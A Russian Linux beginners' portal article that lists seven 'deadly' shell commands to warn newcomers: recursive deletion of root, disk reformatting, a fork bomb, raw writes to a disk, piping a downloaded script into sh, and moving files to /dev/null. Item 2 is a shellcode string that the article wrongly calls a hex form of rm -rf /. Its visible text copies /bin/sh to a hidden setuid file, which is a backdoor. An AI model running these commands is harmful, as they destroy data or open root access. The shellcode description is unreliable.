LiNewb - Linux портал для начинающих: новости, анонсы, статьи, форум, FAQ по Linux.
LiNewb - Google поиск

Статьи, описания, мануалы » материал и комментарии


Поиск по разделу: 

Категории статей, описаний, мануалов

Мои статьи [0] О Linux в общем... [4]
Установка, обновление Linux [3] Сеть, Интернет [5]
Android [0] Графика [8]
Безопасность [1] Полезные советы [7]
Программы, утилиты [7] Игры, музыка, видео [1]
Прогр-ние: Web [1] Прогр-ние: Система, Приложения [0]
Разное [13]
Главная » Статьи » Безопасность

7 "смертельных" Linux команд
Если Вы пока новичок и еще слабо знакомы с Linux, то вполне возможно, что на форумах или в чатах, встретите «дурного» (мягко сказано) человека, который сможет (ну или попытается) обмануть Вас в использовании консольных Linux команд, которые могут повредить или уничтожить Ваши файлы, или даже всю Вашу операционную систему. Так вот, чтобы избежать такой опасной ситуации, здесь приведен небольшой список «смертельных» Linux команд, которых нужно избегать. Да и вообще, если уж собрались выполнить незнакомую команду, то хотя бы для начала прочтите соответствующую «man» страничку, в которой скорее всего поймете, что может делать конкретная команда в зависимости от переданных ей параметров.

Итак...

1. Код:

rm -rf /

Эта команда рекурсивно и принудительно удалит все файлы в корневом каталоге вашей системы.

2. Код:

char esp[] __attribute__ ((section(".text"))) /* e.s.p
release */
= "\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68"
"\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99"
"\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7"
"\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56"
"\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31"
"\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69"
"\x6e\x2f\x73\x68\x00\x2d\x63\x00"
"cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;";


Это шестнадцатеричная версия ранее упомянутой команды [rm -rf /], которая может обмануть или поставить в тупик даже довольно опытных пользователей Linux. Напоминание: команда рекурсивно и принудительно удалит все файлы в корневом каталоге вашей системы!

3. Код:

mkfs.ext3 /dev/sda

Эта команда переформатирует устройство, которое указано после команды mkfs, или полностью уничтожит все файлы на нем.

4. Код:

:(){:|:&};:

Код известен как "forkbomb". Эта команда вынудит Вашу систему выполнять огромное число процессов до полного зависания, что довольно часто приводит к искажению данных.

5. Код:

any_command > /dev/sda

Этой командой исходные данные будут записаны в блочное устройство, что как правило приведет к затиранию файловой системы, а другими словами к полной потере данных.

6. Код:

wget http://some_untrusted_source -O- | sh

Никогда не загружайте код из непроверенных (мягко сказано) источников, и не запускайте на исполнение вероятно вредоносный программный код. Что собственно эта команда и сделает вопреки вашему желанию.

7. Код:

mv /home/yourhomedirectory/* /dev/null

Эта команда переместит все файлы из вашего домашнего каталога в несуществующее место, и таким образом вы навсегда потеряете свои данные.

Здесь конечно приведен скорее всего далеко не полный список "смертельных" Linux команд. Так что если кто знает другие, то можно их огласить в комментариях к этой статье, а модератор позже добавит их к общему списку.

З.Ы
"доверяй, но проверяй", "не зная броду, не суйся в воду" и т.п. :)

По материалам www.junauza.com
 
     


Категория: Безопасность | Добавил: linewber (06.10.2009)
Теги: опасные команды, Консольные команды, Linux
Просмотров: 2556 | Рейтинг: 4.5/4
Всего комментариев: 0
Добавлять комментарии могут только зарегистрированные пользователи.
[ Регистрация | Вход ]

Вход на сайт

Логин:
Пароль:

Нашли ошибку в тексте?

Система Orphus

Метки документов

Проект OpenNET 
Все зарегистрированные товарные знаки, находящиеся или отображаемые на страницах сайта //linewb.moy.su, принадлежат своим законным владельцам. Вся информация, полученная со сторонних источников, публикуется с обязательными ссылками на эти источники.